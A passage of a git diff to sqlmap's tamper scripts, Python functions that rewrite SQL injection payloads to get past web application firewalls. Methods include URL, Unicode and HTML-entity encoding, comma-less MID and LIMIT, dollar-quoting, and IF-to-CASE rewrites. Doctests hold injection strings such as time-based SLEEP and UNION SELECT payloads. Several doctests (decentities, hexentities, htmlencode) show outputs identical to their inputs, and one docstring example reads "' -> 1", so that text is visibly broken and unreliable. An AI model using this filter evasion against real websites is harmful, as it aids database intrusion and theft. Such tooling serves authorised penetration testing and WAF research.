operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST(<x> AS NVARCHAR(<n>)),CHAR(<m>))' -> '(<x>)': + # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a + # clean inner query the whole read goes function-free (NULLs then read as end-of-string) + query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query) + return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) + + comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" + retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) + retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index a26cdadf78e..7bfd30bd5cf 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -17,8 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character after SQL statement with a valid random blank character. - Afterwards replace character = with LIKE operator + Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in @@ -44,8 +43,8 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) retVal = retVal.replace("%09 ", "%09") return retVal diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 3b6a5301fa9..5f4639f786d 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,28 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ - Double url-encodes all characters in a given payload (not processing - already encoded) + Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: - * Useful to bypass some weak web application firewalls that do not - double url-decode the request before processing it through their - ruleset + * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' diff --git a/tamper/charencode.py b/tamper/charencode.py index 9df3e96244a..980406aa12b 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import string @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Url-encodes all characters in a given payload (not processing already - encoded) + URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) Tested against: * Microsoft SQL Server 2005 @@ -26,10 +25,8 @@ def tamper(payload, **kwargs): * PostgreSQL 8.3, 8.4, 9.0 Notes: - * Useful to bypass very weak web application firewalls that do not - url-decode the request before processing it through their ruleset - * The web server will anyway pass the url-decoded version behind, - hence it should work against any DBMS + * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset + * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS >>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 09e602957d0..01144c91aa0 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,15 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST @@ -18,8 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Unicode-url-encodes non-encoded characters in a given payload (not - processing already encoded) + Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) Requirement: * ASP @@ -32,12 +31,12 @@ def tamper(payload, **kwargs): * PostgreSQL 9.0.3 Notes: - * Useful to bypass weak web application firewalls that do not - unicode url-decode the request before processing it through their - ruleset + * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' + >>> tamper(u'\U0001F600') == '%uD83D%uDE00' + True """ retVal = payload @@ -51,7 +50,14 @@ def tamper(payload, **kwargs): retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: - retVal += '%%u%.4X' % ord(payload[i]) + ordinal = ord(payload[i]) + if ordinal > 0xFFFF: + # Note: %uXXXX is UTF-16 based, so a non-BMP char (e.g. an emoji) must be emitted + # as a surrogate pair - '%.4X' alone would produce an invalid 5-digit '%uXXXXX' + ordinal -= 0x10000 + retVal += "%%u%04X%%u%04X" % (0xD800 + (ordinal >> 10), 0xDC00 + (ordinal & 0x3FF)) + else: + retVal += '%%u%.4X' % ordinal i += 1 return retVal diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py new file mode 100644 index 00000000000..0bc2624aec5 --- /dev/null +++ b/tamper/charunicodeescape.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def tamper(payload, **kwargs): + """ + Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) + + Notes: + * Useful to bypass weak filtering and/or WAFs in JSON contexes + + >>> tamper('SELECT FIELD FROM TABLE') + '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += "\\u00%s" % payload[i + 1:i + 3] + i += 3 + else: + retVal += '\\u%.4X' % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py new file mode 100644 index 00000000000..6361a7563ba --- /dev/null +++ b/tamper/commalesslimit.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGH + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + >>> tamper('LIMIT 2, 3') + 'LIMIT 3 OFFSET 2' + """ + + retVal = payload + + match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") + if match: + retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) + + return retVal diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py new file mode 100644 index 00000000000..6743ddc0876 --- /dev/null +++ b/tamper/commalessmid.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGH + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + >>> tamper('MID(VERSION(), 1, 1)') + 'MID(VERSION() FROM 1 FOR 1)' + """ + + retVal = payload + + warnMsg = "you should consider usage of switch '--no-cast' along with " + warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] + singleTimeWarnMessage(warnMsg) + + match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") + if match: + retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) + + return retVal diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py new file mode 100644 index 00000000000..a3fbf33b507 --- /dev/null +++ b/tamper/commentbeforeparentheses.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Prepends (inline) comment before parentheses (e.g. ( -> /**/() + + Tested against: + * Microsoft SQL Server + * MySQL + * Oracle + * PostgreSQL + + Notes: + * Useful to bypass web application firewalls that block usage + of function calls + + >>> tamper('SELECT ABS(1)') + 'SELECT ABS/**/(1)' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) + + return retVal diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 5182bd8d5d7..fdfb1a49b79 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,20 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' + Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart Requirement: * MySQL @@ -31,6 +36,6 @@ def tamper(payload, **kwargs): """ if payload: - payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + payload = re.sub(r"(?i)(?<!GROUP_)CONCAT\(", "CONCAT_WS(MID(CHAR(0),0,0),", payload) return payload diff --git a/tamper/decentities.py b/tamper/decentities.py new file mode 100644 index 00000000000..ee938ce5046 --- /dev/null +++ b/tamper/decentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in decimal (using code points) all characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#%s;" % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/dollarquote.py b/tamper/dollarquote.py new file mode 100644 index 00000000000..bb268b0362c --- /dev/null +++ b/tamper/dollarquote.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with PostgreSQL dollar-quoted strings (e.g. 'abc' -> $$abc$$) + + Requirement: + * PostgreSQL + + Tested against: + * PostgreSQL 9.x, 10-16 + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: dollar-quoting is quote-free and needs no escaping + * A literal already containing '$$' is left untouched + + >>> tamper("SELECT 'abc' FROM t WHERE x='def'") + 'SELECT $$abc$$ FROM t WHERE x=$$def$$' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload) + + return retVal diff --git a/tamper/dunion.py b/tamper/dunion.py new file mode 100644 index 00000000000..db2cd94375d --- /dev/null +++ b/tamper/dunion.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces instances of <int> UNION with <int>DUNION + + Requirement: + * Oracle + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1DUNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 05615355bbd..a4f8fa1c532 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,25 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import os import re -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + pass def tamper(payload, **kwargs): """ - Replaces all occurances of operator equal ('=') with operator 'LIKE' + Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart Tested against: * Microsoft SQL Server 2005 @@ -38,6 +35,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) return retVal diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py new file mode 100644 index 00000000000..c617906a6e8 --- /dev/null +++ b/tamper/equaltorlike.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the equal character ('=') + + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id RLIKE 1' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\s*(?<![<>!=])=(?!=)\s*", " RLIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) + + return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py new file mode 100644 index 00000000000..0ccbc0cb537 --- /dev/null +++ b/tamper/escapequotes.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Slash escape single and double quotes (e.g. ' -> \') + + >>> tamper('1" AND SLEEP(5)#') + '1\\\\" AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = payload.replace("'", "\\'").replace('"', '\\"') + + return retVal diff --git a/tamper/greatest.py b/tamper/greatest.py index a1c3f8df39e..742b090c1b6 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -36,10 +36,10 @@ def tamper(payload, **kwargs): retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: - _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) + _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) retVal = retVal.replace(match.group(0), _) return retVal diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index c0d0eea5c71..28c56d82c75 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -21,7 +21,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Adds versioned MySQL comment before each keyword + Adds (MySQL) versioned comment before each keyword Requirement: * MySQL < 5.1 @@ -35,8 +35,8 @@ def tamper(payload, **kwargs): * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html - >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") - "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" + >>> tamper("1' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") + "1'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): @@ -49,7 +49,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal diff --git a/tamper/hex2char.py b/tamper/hex2char.py new file mode 100644 index 00000000000..f35709c12db --- /dev/null +++ b/tamper/hex2char.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import decodeHex +from lib.core.convert import getOrds +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful in cases when web application does the upper casing + + >>> tamper('SELECT 0xdeadbeef') + 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"(?i)\b0x([0-9a-f]+)\b", retVal): + if len(match.group(1)) > 2: + result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) + else: + result = "CHAR(%d)" % ord(decodeHex(match.group(1))) + retVal = retVal.replace(match.group(0), result) + + return retVal diff --git a/tamper/hexentities.py b/tamper/hexentities.py new file mode 100644 index 00000000000..b8f68131448 --- /dev/null +++ b/tamper/hexentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#x%s;" % format(ord(payload[i]), "x") + i += 1 + + return retVal diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py new file mode 100644 index 00000000000..04810959a50 --- /dev/null +++ b/tamper/htmlencode.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + if payload: + payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 + payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) + + return payload diff --git a/tamper/if2case.py b/tamper/if2case.py new file mode 100644 index 00000000000..f3c01ddb1c4 --- /dev/null +++ b/tamper/if2case.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IF() functions + + >>> tamper('IF(1, 2, 3)') + 'CASE WHEN (1) THEN (2) ELSE (3) END' + >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') + 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' + """ + + if payload and payload.find("IF(") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) + while payload.find("IF(") > -1: + index = payload.find("IF(") + depth = 1 + commas, end = [], None + quote, doublequote = False, False + + for i in xrange(index + len("IF("), len(payload)): + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + commas.append(i) + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 + + if len(commas) == 2 and end: + a = payload[index + len("IF("):commas[0]].strip("()") + b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") + c = payload[commas[1] + 1:end].lstrip().strip("()") + newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + payload = payload.replace(REPLACEMENT_MARKER, "()") + + return payload diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py new file mode 100644 index 00000000000..9d94e467145 --- /dev/null +++ b/tamper/ifnull2casewhenisnull.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IFNULL() functions + + >>> tamper('IFNULL(1, 2)') + 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' + """ + + if payload and payload.find("IFNULL(") > -1: + while payload.find("IFNULL(") > -1: + index = payload.find("IFNULL(") + depth = 1 + comma, end = None, None + quote, doublequote = False, False + + for i in xrange(index + len("IFNULL("), len(payload)): + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 + + if comma and end: + _ = payload[index + len("IFNULL("):comma] + __ = payload[comma + 1:end].lstrip() + newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + return payload diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 499cc621841..3ede6ac358f 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -14,7 +15,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' + Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart Requirement: * MySQL @@ -32,25 +33,29 @@ def tamper(payload, **kwargs): 'IF(ISNULL(1),2,1)' """ - if payload and 